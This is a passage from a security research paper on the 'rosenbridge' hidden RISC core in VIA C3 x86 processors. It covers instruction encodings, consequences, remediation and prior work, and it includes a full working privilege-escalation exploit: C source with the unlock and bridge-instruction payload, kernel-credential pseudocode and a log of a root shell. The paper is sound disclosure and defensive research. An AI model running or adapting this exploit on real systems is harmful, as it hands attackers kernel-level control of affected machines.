Using the instruction bins generated by the *collector*, bit patterns for each bin can be automatically extracted to derive the binary encoding for instructions (Figure 17).

```

lgd: [00000000...++++.....]
mov: [00000000...++++.++++]
izx: [00000000...+++++.....]
isx: [00000000...+++++.....]
ra4: [0000.....+++++.....0000.]
la4: [0000.....+++++.....0000.]
ra8: [0000.....0000.....0000.]
la8: [0000.....+++++.....0000.]
and: [0000000++++.++++.....0000]
or: [0000000++++.++++.....0000]
ada: [00000000++++.....000]
sba: [00000000++++.....000]
ld4: [00000000---++++.++++...==.....]
st4: [00000000---++++.++++...==.....]
ad4: [0000000++++...==.....]
ad2: [0000000++++...==.....]
ad1: [0000000++++...==.....]
zl3: [00000000.....++++.....]
zl2: [00000000.....++++.....]
zl1: [00000000.....++++.....]
cmb: [00000000...++++.++++.....]

[o] opcode  [.] unknown  [ ] don't care
[+] register [-] offset  [=] length/value

```

Figure 17. Automatically derived encodings for each of the selected instruction primitives.

In the analysis, “opcode” bits are detected by identifying bits that are entirely consistent for all instructions in a bin; “unknown” bits are those that seem to follow a pattern (such as *almost* always 1 or *almost* always 0), but the pattern cannot be correlated with the instruction effects; “don’t care” bits are those that have no obvious pattern within the bin. Operand encodings are identified as either “register”, “offset”, “length”, or “value”; “register” bits are those that change which registers are modified by the instruction; “offset” bits encode an offset to be added to the register operand; “length” bits encode the length of data read or written to memory; “value” bits encode a constant value used in the instruction.

Registers are encoded with 4 bits, where *eax* is 0b0000, *ebx* is 0b0011, *ecx* is 0b0001, *edx* is 0b0010, *esi* is 0b0110, *edi* is 0b0111, *ebp* is 0b0101, and *esp* is 0b0100. It may be that

the high order bit of the register encoding is used to select either RISC-only or MMX registers; this was not investigated.

Instructions operate on zero, one, or two explicit registers. When operating on zero or one explicit register, the *eax* register is sometimes used as an implicit register.

Zero to eight opcode bits typically appear at the beginning of an instruction, with a possibility for additional opcode bits elsewhere in the instruction.

It is clear that the automatically derived bit fields are imperfect; for example, *la8* and *ra8* should almost certainly have identical bit fields, but the auto-derived representations are substantially different. This can be caused by sparseness in the instruction bin, or the binning process failing to identify some instruction behavior, which in turn causes a failure in separating functionally different instructions. In applying the automatically derived bit fields for instruction encoding, a ‘template’ instruction is chosen from the target bin, which is used to fill out the opcode, unknown, and don’t-care bits; in practice, this eliminated any potential issues caused by the imperfect bit field determination.

A feedback loop between the bit-field parser and instruction fuzzer would significantly improve these results, but has not been implemented.

In addition to the automatically extracted instructions, manual analysis also reveals a variety of interesting or potentially useful *DEC* instructions. 523c8b0c performed a byte to short conversion, changing register *mm1* from 00000000080adfe9 to 0008000a00df00e9. fab4b6af appeared to push register *esi* to the stack twice, but adjusted the stack pointer in the opposite direction of an x86 push. Instructions exist for both zeroing specific bytes of a register, as well as ‘one-ing’ bytes of a register; d693bec3 sets *edi* from 4af58db3 to 4affffff. 8ec565e5 swapped the low and high word of *eax*, from 0804e289 to e2890804. Privileged ring 0 registers are easily accessed with the RISC core: 88f7cf99 writes *eax* to *dr3*, a5e5ad5e loads *cr0* into *ebp*. A cursory examination of the fuzzing logs [1] reveals countless other valuable instructions.

With nearly 4000 hours of fuzzing necessary to generate these execution primitives, it is worth looking at whether such lengths were actually necessary. In analyzing the data, it was apparent that many instructions, such as the RISC *mov*, were over-represented, and had far more samples than were necessary for deriving their format. However, others – notably, the *lgd* instruction – appeared only once in the logs of over 2 million tests; it appears that these would not have been resolved with substantially fewer tests, and in fact there are likely many other *DEC* instructions that have still not been found.

With the format of the selected RISC primitives automatically derived, we wrote a custom *DEIS* assembler that assembles program written in the Figure 16 primitives into their binary representation, and wraps each assembled RISC instruction in the x86 *bridge instruction*. With the custom assembler, a payload written in *DEIS* assembly can be built into an executable that can be launched from the x86 core.

VI. PRIVILEGE ESCALATION PAYLOAD

As a proof-of-concept, we create a payload for the *rosenbridge* backdoor that, when executed from an unprivileged userland process, sends instructions to the *deeply embedded core* to read and modify kernel memory, and grant the executing process root permissions. While it was possible to implement the payload with only eight *DEIS* instructions, instead we chose to execute the complete payload through the *rosenbridge* backdoor, to more completely illustrate the execution power of the *DEC*.




Figure 18. Parsing to isolate the process credentials starting from the global descriptor table. The parsing approach is loosely based on [13].

An overview of the payload is shown in Figure 18. By reading kernel memory, the x86 global descriptor table (GDT) is parsed, from which a pointer to the current process's *task_struct* structure is retrieved. From *task_struct*, a pointer to the process's *cred* structure is retrieved. With access to the *cred* structure, kernel write primitives are used to set the various permission fields to root access. When the code completes, the process has root permissions through the kernel memory tampering, and a new root shell is launched.

```

0 gdt_base = get_gdt_base();
1 descriptor = *(uint64_t*)(gdt_base+KERNEL_SEG);
2 fs_base=((descriptor&0xff00000000000000ULL)>>32)|
3 ((descriptor&0x000000ff00000000ULL)>>16)|
4 ((descriptor&0x00000000ffff0000ULL)>>16);
5 task_struct = *(uint32_t*)(fs_base+OFFSET_TASK_STRUCT);
6 cred = *(uint32_t*)(task_struct+OFFSET_CRED);
7 root = 0
8 *(uint32_t*)(cred+OFFSET_CRED_VAL_UID) = root;
9 *(uint32_t*)(cred+OFFSET_CRED_VAL_GID) = root;
10 *(uint32_t*)(cred+OFFSET_CRED_VAL_EUID) = root;
11 *(uint32_t*)(cred+OFFSET_CRED_VAL_EGID) = root;
  
```

Figure 19. Pseudocode describing escalating the current process to root permissions.

Pseudocode for the privilege escalation payload is shown in Figure 19. The implemented payload is designed against Debian 6.0.10 (i386), using Linux kernel version 2.6.32; however, the payload is easily adaptable to any operating system or kernel.

To implement the payload, the pseudocode must be converted to the available backdoor primitives discussed in section V. With a fairly limited set of identified primitives, this requires some creativity on the part of the programmer, much like writing a ROP chain. Figure 20 illustrates the final payload, written in the custom assembly language described in section V.

lgd %eax	or %ebx, %eax	izx \$0x4, %ecx
	izx \$0x5f20, %ecx	ada %ecx
izx \$0x78, %edx	izx \$0xc133, %edx	st4 %edx, %eax
ada %edx	cmb %ecx, %edx	
	ada %edx	ada %ecx
ad2 %eax	ld4 %eax, %eax	st4 %edx, %eax
ld4 %eax, %edx		
ad2 %eax	izx \$0x208, %edx	ada %ecx
ld4 %eax, %ebx	ada %edx	ada %ecx
z13 %ebx	ld4 %eax, %eax	st4 %edx, %eax
mov %edx, %eax		
la8	izx \$0, %edx	ada %ecx
ra8		st4 %edx, %eax

Figure 20. Assembly code for the *deeply embedded core* implementing privilege escalation for the current process.

Finally, we convert the prototype to a functioning executable that will take the user from an unprivileged account to root permissions (Figure 21). We implement a custom assembler for the language described in section V, which translates the backdoor primitives into their raw 32-bit representation. Each of these RISC instructions is then wrapped in the x86 *bound bridge instruction*, which will send it to the *deeply embedded core*. To activate the *DEC*, we add the `0xf3f` *launch instruction* to the beginning of the program. The program concludes by launching a shell, which will have root permissions after the backdoor kernel accesses.

```

0 #include <stdlib.h>
1
2 int main(void)
3 {
4     /* unlock the backdoor */
5     __asm__ ("movl $payload, %eax");
6     __asm__ (".byte 0xf3, 0xf3");
7
8     /* modify kernel memory */
9     __asm__ ("payload:");
10    __asm__ ("bound %eax, 0xa310075b(, %eax, 1)");
11    __asm__ ("bound %eax, 0x24120078(, %eax, 1)");
12    __asm__ ("bound %eax, 0x80d2c5d0(, %eax, 1)");
13    __asm__ ("bound %eax, 0x0a1af97f(, %eax, 1)");
14    __asm__ ("bound %eax, 0xc8109489(, %eax, 1)");
15    __asm__ ("bound %eax, 0x0a1af97f(, %eax, 1)");
16    __asm__ ("bound %eax, 0xc8109c89(, %eax, 1)");
17    __asm__ ("bound %eax, 0xc5e998d7(, %eax, 1)");
18    __asm__ ("bound %eax, 0xac128751(, %eax, 1)");
19    __asm__ ("bound %eax, 0x844475e0(, %eax, 1)");
20    __asm__ ("bound %eax, 0x84245de2(, %eax, 1)");
21    __asm__ ("bound %eax, 0x8213e5d5(, %eax, 1)");
22    __asm__ ("bound %eax, 0x24115f20(, %eax, 1)");
23    __asm__ ("bound %eax, 0x2412c133(, %eax, 1)");
24    __asm__ ("bound %eax, 0xa2519433(, %eax, 1)");
25    __asm__ ("bound %eax, 0x80d2c5d0(, %eax, 1)");
26    __asm__ ("bound %eax, 0xc8108489(, %eax, 1)");
27    __asm__ ("bound %eax, 0x24120208(, %eax, 1)");
28    __asm__ ("bound %eax, 0x80d2c5d0(, %eax, 1)");
29    __asm__ ("bound %eax, 0xc8108489(, %eax, 1)");
30    __asm__ ("bound %eax, 0x24120000(, %eax, 1)");
31    __asm__ ("bound %eax, 0x24110004(, %eax, 1)");
32    __asm__ ("bound %eax, 0x80d1c5d0(, %eax, 1)");
33    __asm__ ("bound %eax, 0xe01095fd(, %eax, 1)");
34    __asm__ ("bound %eax, 0x80d1c5d0(, %eax, 1)");
35    __asm__ ("bound %eax, 0xe01095fd(, %eax, 1)");
36    __asm__ ("bound %eax, 0x80d1c5d0(, %eax, 1)");
37    __asm__ ("bound %eax, 0x80d1c5d0(, %eax, 1)");
38    __asm__ ("bound %eax, 0xe0108dfd(, %eax, 1)");
39    __asm__ ("bound %eax, 0x80d1c5d0(, %eax, 1)");
40    __asm__ ("bound %eax, 0xe0108dfd(, %eax, 1)");
41
42    /* launch a shell */
43    system("/bin/bash");
44
45    return 0;
46 }
  
```

Figure 21. The complete privilege escalation payload. The *deeply embedded core* is activated with the `0xf3f` *launch instruction* at the beginning, and is then

fed *DEIS* instructions through the x86 ‘bound’ *bridge instruction*. The *DEIS* instructions circumvent the processor security model, reaching into kernel memory to grant the process root permissions.

The program is executed from an unprivileged account, and gains root permissions. Of course, this is only done as a demonstration; the backdoor is not restricted to providing only root permissions, and is easily used to gain full kernel execution. In this example, it is assumed that the *god mode bit* is already set, activating the backdoor; while this, in theory, requires kernel level execution at some previous point in time, in section VII we demonstrate that the *god mode bit* is enabled by default on many systems, allowing any unprivileged code, with no prior access to the system, to immediately gain kernel level execution.

```
delta:~/rosenbridge/esc/bin$ whoami
delta
delta:~/rosenbridge/esc/bin$ ./escalate
bash-4.1# whoami
root
bash-4.1#
```

Figure 22. The privilege escalation payload in Figure 21 is executed. The *launch instruction* enables the *deeply embedded core*, and the *bridge instructions* issue commands to the *DEC*. These commands parse and modify kernel memory to grant the current process root permissions. The process launches a shell with the new permissions.

VII. CONSEQUENCES

The existence of an undocumented mechanism for circumventing all processor privilege checks is serious, and raises grave concerns for the security of the processor. Nonetheless, these risks should be partially mitigated by the fact that some initial, one-time ring 0 execution is required by the attacker in order to first enable the *god mode bit*, which activates the *DEC* core needed for the rest of the attack. While this provides some small comfort, the relief is short-lived.

In the simplest scenario, an attacker with this initial one-time kernel access can use the *god mode bit* to open a convenient, operating-system-independent backdoor for future operations, eliminating the need for a complex kernel level foothold on the system.

While this is a potential attack scenario, far more concerning is the possibility of the *god mode bit* being enabled for *specific targets* during manufacturing or by malicious firmware. The default state of the model-specific-register bits is trivially modifiable by fuse bits set at the factory, or can be configured long before the operating system starts by early bootstrap code.

In fact, this is exactly the ‘doomsday’ scenario we have observed. On some systems, the *god mode bit* is *enabled by default* (CVE pending). The VIA C3 Samuel 2 family of x86 processors appear to be affected by this; a Wyse 9455XL thin client and HP t5125 thin client, both with the Samuel 2 generation of processor, were observed to start up with the *god mode bit* already toggled – from the moment the operating system starts, an unknown, stealthy, virtually invisible backdoor exists in the processor, and is simply waiting for instructions. With the *deeply embedded core* active, any unprivileged code can use the backdoor to immediately gain super-user or kernel level execution.

Since this is a processor level backdoor, the vulnerability exists for all software, operating systems, and patches. It allows

instantly bypassing all kernel security mechanisms, such as code signing, kernel address space layout randomization (KASLR), and control flow guard (CFG). It survives software patches, operating system updates, and firmware upgrades.

While the *rosenbridge* backdoor is not inherently a remote vulnerability, it is worth examining whether a remote attacker could use the backdoor for kernel privilege escalation, without first employing a separate, preliminary exploit for unprivileged code execution. To use the backdoor, a remote attacker needs to be able to cause a remote target to execute the *launch instruction* to activate the *deeply embedded core*, followed by a series of *bridge instructions* to execute a payload on the *DEC*. Although a system call was used in the proof-of-concept (Figure 21), since the *DEC* allows arbitrary reads and writes to kernel memory, no system call privileges are actually required for kernel level code execution. The *launch instruction*, `0f3f`, is likely the biggest hurdle for a remote attacker. Since it is not a documented x86 instruction, it could not be generated by, for example, WebAssembly, nor would it be allowed by sandboxes using x86 emulation or binary translation. Sandboxes using sophisticated scanning technology to provide bare-metal execution, such as Native Client, would also not allow this instruction. A workable remote attack scenario might target a personal security product that performs automated scans of incoming executables in a sandbox utilizing bare-metal execution but restricted or emulated system calls; combined with a drive-by download, both the *launch instruction* and *bridge instructions* could be executed within the sandbox to modify kernel memory and escalate privileges. However, the specificity of this scenario is overly restrictive, and we conclude the *rosenbridge* backdoor would not appear to be a significant remote security threat. Rather, it provides an attacker easy kernel privilege escalation, once unprivileged local execution is attained, eliminating the need for increasingly complex operating system or driver exploits.

VIII. REMEDIATION

The *rosenbridge* backdoor is a part of the silicon of the processor, and cannot be removed. However, there are a variety of options, with varying effectiveness, for disabling the backdoor.

In the best approach, processor microcode is updated to lock down the *god mode bit* and prevent it from being toggled. The updated microcode is applied early in every boot cycle, to prevent access to the bit by untrusted code. While an attacker with code execution prior to the microcode update in the boot process could make use of the backdoor, code with this level of access would have little use for the extra privileges *rosenbridge* provides. While this approach provides the best fix in terms of security, microcode updates are difficult to deploy, and rarely applied by the end user, all but ensuring the vulnerability remains unpatched for the majority of systems.

As an alternative, the operating system can be updated to ensure that the *god mode bit* is cleared during early OS boot. While this solution is easy to deploy, it is unable to prevent malicious ring 0 code (such as from a compromised driver) from enabling the bit as a convenient, low-maintenance backdoor. Periodic checks of the *god mode bit* by the operating

system, similar to kernel integrity checks, could make such an attack less practical.

Virtualization-based security solutions can provide effective mitigations against MSR-dependent attacks, but the target processors in this research are primarily designed for low power embedded devices, and do not support hardware virtualization.

As a stopgap measure, we have created a loadable kernel module that can be launched early in the boot process, which will clear the *god mode bit*, and periodically ensure that it has not been set [1].

IX. OTHER PROCESSORS

The *rosenbridge* backdoor is the first known hardware level backdoor in an x86 processor, as well as one of the first in any consumer processor; this, in and of itself, makes it a radical step forward in security research. However, the backdoor, as explored in this paper, appears in only a narrow set of a decade-old line of processors; it is not a threat to the average user today. Instead, the primary value of this research is as a case study into the possibility (now conclusively demonstrated) of hardware backdoors, a practical investigation into how such backdoors might be implemented, and a thought experiment on how an outside observer could uncover such a threat.

In exploring the wider implications of *rosenbridge*, concerning the feasibility of hardware backdoors in similar processor and beyond, it is useful to reexamine some of the defining features of the observed implementation. In particular, while many of the internals might be expected to be vastly different in other implementations, the concept of enabling or disabling the backdoor through a processor configuration register seems quite practical. In this vein, we adapted the MSR timing attack methods from section IV to a further line of research – uncovering password protected registers in modern processors. This work, open sourced as *project:nightshyft* [11], and described in the companion paper *Cracking Protected CPU Registers* [12] uncovered promising, but inconclusive, findings on other processors, but may lead us towards more advanced and protected hardware backdoors.

An alternate approach may be to follow in the footsteps of the *rosenbridge* research, and follow the bread crumb trails of patent applications. While a full analysis is outside the scope of this paper, the authors note that the patents leveraged in this work were only the tip of the iceberg in our research; advanced and undocumented processor capabilities discovered through patent applications spanned the gamut of vendors and architectures, reaching well beyond the x86 centric approach explored in *rosenbridge*.

In the end, we offer no definitive conclusions or speculation as to the feasibility, rationale, or practicality of more wide spread hardware backdoors. Rather, we observe only that the nature of a black box processor necessitates skepticism on the nature of their security, and the best path forward may be only continued vigilance from users, transparency and cooperation from vendors, and passion and ample skepticism from researchers.

X. CONCLUSION

The *rosenbridge* backdoor provides a well-hidden, devastating circumvention to the long-standing x86 ring privilege model. In offering a knowledgeable attacker direct, unrestricted access to the kernel from arbitrary unprivileged code, the backdoor negates decades of progress on hardware and software kernel security mechanisms. Research into this backdoor is ongoing, and is presently being tracked under [CVE pending]. While this specific vulnerability is not widespread, it serves as a valuable case study into the feasibility and implementation of processor backdoors.

In the wake of hardware backdoors, our existing security models are nearly entirely broken. Decades of work on software protection mechanisms do nothing to protect against such a threat, and we are bleakly unprepared for what lies ahead. In looking forward, we propose that, rather than panic and speculate, a valuable near-term course of action is to continue to develop tools to introspect and audit processors, bringing control and insight back to the end users of a chip. To this end, we previously released the sandsifter fuzzer for resolving the secret instructions in an x86 ISA [14] [15], and examined the results on a wide variety of modern processors. Building on this theme, in this paper, we introduced an approach for auditing model-specific-registers through timing analysis; this idea is discussed further in the related paper *Cracking Protected CPU Registers* [12]. Moving forward, the authors intend to continue to define and explore techniques for introspecting an untrusted processor, in order to discover and break through new security boundaries in x86. To support this, the research, tools, and data from this paper are open sourced as *project:rosenbridge* [1].

PRIOR WORK

The sheer complexity and magnitude of the x86 architecture and supporting components is inevitably fodder for conspiracy theories and wild speculation. Certainly, the lack of documentation and public information that shroud the architecture do not always improve the situation. In examining the possibility of hardware backdoors, the most common targets of scrutiny are the Intel Management Engine (ME) and the AMD Platform Security Processor (PSP). While these coprocessors certainly warrant extreme scrutiny and analysis, to date, they have not been shown to contain deliberate backdoors to the system.

More recently, the “AMD FLAWS” press releases [16] claimed to have shown a hardware backdoor in the AMD chipset. While there is an utter paucity of technical details surrounding this, even a cursory examination appears to show that this is not a backdoor as the word is commonly understood in the security community; the very language used in the press release – “exploitable manufacturer backdoors” [16] – suggests a vulnerability, rather than a deliberate backdoor. In addition, kernel level execution appears to be required, the issue was introduced by a third party (not the processor vendor), and the vulnerability pivots execution into the chipset, not the processor. Similar conditions have been thoroughly

demonstrated by researchers in the past, with far less hyperbole [17] [18] [19].

Perhaps the closest anyone has previously come to hardware privilege escalation on x86 were the sysret bugs of 2006 and 2012 [20] [21] [22]. Here, differences between the Intel and AMD processors' handling of canonical return addresses introduced the possibility of ring 3 to ring 0 privilege escalation on a variety of operating systems. While these vulnerabilities were the indirect results of an unexpected hardware design, the ultimate flaw lied with the operating system software, which failed to validate certain return addresses.

More recently, the Spectre and Meltdown speculative execution side channel vulnerabilities [23] [24] [25] provided a major step towards breaking the ring 3/ring 0 privilege boundary at a hardware level, allowing data to leak from the kernel into user space. Still, these did not directly allow ring 3 to ring 0 privilege escalation, and were not an intentional outcome of the processor design.

In this research, we heavily leveraged the x86 processor fuzzer *sandsifter* [14] [15], to uncover hidden instruction behavior on the target processor. *Sandsifter* audits x86 processors for hidden instructions and hardware bugs, by systematically generating machine code to search through a processor's instruction set, and monitoring execution for anomalies. Here, we built on *sandsifter* to uncover pieces of the hardware backdoor.

DISCLAIMER

The views, information, and opinions expressed in this research paper are those of the author only, and do not reflect the views, information, or opinions of any employer, prior or current, of the author.

While security professionals will agree that the mechanisms described constitute what is commonly understood as a backdoor, the author believes that this functionality was added as a useful debugging feature, and unintentionally left enabled on early generations of the processor; no malicious intent is implied.

GLOSSARY

bridge instruction

A standard x86 instruction with a 32-bit immediate value, that, when preceded by the *launch instruction*, will send the 32-bit immediate to the RISC pipeline of the *deeply embedded core*. On a VIA C3 Nehemiah core, the *bridge instruction* is `bound %eax,xxxxxxx(,%eax,1)`, where `xxxxxxx` is the 32-bit value to be sent to the RISC core.

deeply embedded core (DEC)

A RISC core, embedded alongside the x86 core of a processor. The RISC core is tightly integrated with the x86 core, sharing significant pieces of the execution pipeline and register file. This offers the *deeply embedded core* insight into and control over the x86 core that is unmatched by known coprocessors like Intel ME and AMD PSP.

deeply embedded instruction set (DEIS)

The instruction set used by the *deeply embedded core*.

global configuration register

An x86 model specific register containing the *god mode bit*.

god mode bit

A bit in an x86 model specific register which, when set, enables the *launch instruction*.

launch instruction

A new x86 instruction, enabled by the *god mode bit*. The instruction, `0f3f`, acts as a `jmp %eax` instruction, and activates the *deeply embedded core*.

rosenbridge

A backdoor in an x86 processor.

sandsifter

A software tool for exhaustively scanning the instruction set on an x86 processor, which can be used to uncover undocumented instructions.

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